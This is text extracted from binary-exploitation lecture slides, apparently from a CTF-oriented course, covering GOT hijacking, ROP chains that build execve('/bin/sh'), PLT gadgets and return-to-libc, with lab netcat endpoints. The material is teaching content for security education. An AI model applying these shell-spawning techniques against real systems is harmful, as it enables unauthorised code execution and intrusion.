0x601018 <_IO_puts>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
GOT Hijacking
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <system>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
GOT Hijacking
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <system>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
GOT Hijacking
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <system>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
GOT Hijacking
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <system>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
GOT Hijacking
Without NX Enabled
0x601080 shellcode
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <_IO_puts>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
GOT Hijacking
Without NX Enabled
0x601080 shellcode
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <_IO_puts>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
GOT Hijacking
Without NX Enabled
0x601080 shellcode
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 0x601080
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
GOT Hijacking
Without NX Enabled
0x601080 shellcode
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 0x601080
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
GOT Hijacking
Without NX Enabled
0x601080 shellcode
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 0x601080
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
GOT Hijacking
Without NX Enabled
0x601080 shellcode
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 0x601080
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lab 4
nc isc.taiwan-te.ch 10003
RELRO
• Relocation Read-Only
• Partial RELRO
• GOT 可寫
• Full RELRO
• GOT 不可寫
ROP
ROP
• What is ROP
• ROP Chain
What is ROP
• Return Oriented Programming
4006c4: c9 leave
4006c5: c3 ret
• 取代 shellcode 攻擊
ROP Chain
leave
👉 ret
0x6161616161616161
0x6161616161616161
rsp 0xfaceb00c
stack
ROP Chain
leave
👉 ret
0x6161616161616161
0x6161616161616161
0x39
rax =
stack
ROP Chain
leave
ret
0x6161616161616161
0x6161616161616161
rsp 0x39
👆
rax =
stack
ROP Chain
leave
ret
0x6161616161616161
0x6161616161616161
0x39
👆
rax = 0x39
stack
ROP Chain
leave
ret
0x6161616161616161
0x6161616161616161
0x39
rsp
👆
rax = 0x39
stack
ROP Chain
leave
ret
0x6161616161616161
0x6161616161616161
0x39
rsp
👆
stack
ROP Chain
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0
rax = 0x3b
ROP Chain
rsp 0x400686
0x6bb2e0
0x410093
‘/bin/sh\x00’
0x446c1b
0x410093
0x0
0x4494b5
0x0
0x415294
0x3b
0x474a65
ROP Chain
rsp 0x400686 pop rdi ; ret .bss
0x6bb2e0
‘/bin/sh\x00’
0x0
rax =
0x4494b5 pop rdx ; ret
rdi =
0x0 rsi =
0x415294 pop rax ; ret rdx =
0x3b
‘/bin/sh\x00’
0x0
rax =
0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “”
0x0 rsi =
0x415294 pop rax ; ret rdx =
0x3b
‘/bin/sh\x00’
0x0
rax =
0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “”
0x0 rsi = ‘/bin/sh\x00’
0x415294 pop rax ; ret rdx =
0x3b
‘/bin/sh\x00’
0x0
rax =
0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “/bin/sh”
0x0 rsi = ‘/bin/sh\x00’
0x415294 pop rax ; ret rdx =
0x3b
‘/bin/sh\x00’
0x0
rax =
rsp 0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “/bin/sh”
0x0 rsi = 0x0
0x415294 pop rax ; ret rdx =
0x3b
‘/bin/sh\x00’
0x0
rax =
0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “/bin/sh”
0x0 rsi = 0x0
rsp 0x415294 pop rax ; ret rdx = 0x0
0x3b
‘/bin/sh\x00’
0x0
rax = 0x3b
0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “/bin/sh”
0x0 rsi = 0x0
0x415294 pop rax ; ret rdx = 0x0
0x3b
‘/bin/sh\x00’
0x0
rax = 0x3b
0x4494b5 pop rdx ; ret
rdi = 0x6bb2e0 -> “/bin/sh”
0x0 rsi = 0x0
0x415294 pop rax ; ret rdx = 0x0
0x3b
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Use PLT as Gadget
int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[16];
system("echo What is your name?");
read(0, name, 0x10);
puts("Say something: ");
read(0, buf, 0x40);
return 0;
}
Use PLT as Gadget
int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[16];
system("echo What is your name?");
read(0, name, 0x10);
puts("Say something: ");
read(0, buf, 0x40);
return 0;
}
Use PLT as Gadget
system(“sh”);
Use PLT as Gadget
system(“sh”);
0x4004fe ret
0x400520 system@plt
int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[16];
system("echo What is your name?");
read(0, name, 0x10);
puts("Say something: ");
read(0, buf, 0x40);
return 0;
}
Lab 6
nc isc.taiwan-te.ch 10005
Return to libc
Return to libc
• Why Return to libc
#include <sigsetops.h>
...
heap heap
heap
library library
library
stack
stack stack
rsp
0x601028 execve@plt+6
0x601030 fflush@plt+6
GOT stack
How to Return to libc
0x601018 <_IO_puts>
0x601020 read@plt+6
0x601028 execve@plt+6
0x601030 fflush@plt+6
GOT
How to Return to libc
0x601018 <_IO_puts>
0x601020 read@plt+6
0x601028 execve@plt+6
0x601030 fflush@plt+6
GOT
How to Return to libc
0x601018 <_IO_puts>
0x601020 read@plt+6
0x601028 execve@plt+6
0x601030 fflush@plt+6
GOT
How to Return to libc
0x601018 <_IO_puts>
0x601020 read@plt+6
0x601028 execve@plt+6
0x601030 fflush@plt+6
GOT
How to Return to libc
0x601018 <_IO_puts>
0x601020 read@plt+6
0x601028 execve@plt+6
0x601030 fflush@plt+6
GOT
How to Return to libc
<_IO_puts>
system offset: 0x4f440
0x601018
0x601020 read@plt+6
0x601028 execve@plt+6
0x601030 fflush@plt+6
GOT
How to Return to libc
<_IO_puts>
+) system offset: 0x4f440
0x601018
0x601030 fflush@plt+6
GOT
Lab 7~8
nc isc.taiwan-te.ch 10006
nc isc.taiwan-te.ch 10007
Summary
Summary
• What We Didn’t Learn
• Where to Practice
• Credit
What We Didn’t Learn
• Stack Migration (Stack Pivoting)
• …
Where to Practice
• pwnable.tw
• pwnable.kr
• ctftime.org
• …
Prepare for Advanced Pwn
• Linux Binary Exploitation - Heap Exploitation
• Tcache Exploitation
Credit
• github.com/Gallopsled/pwntools
• github.com/scwuaptx/Pwngdb
• github.com/scwuaptx/peda
• github.com/david942j/one_gadget
• github.com/segnolin/pwn-basic-challenge
Thanks for Listening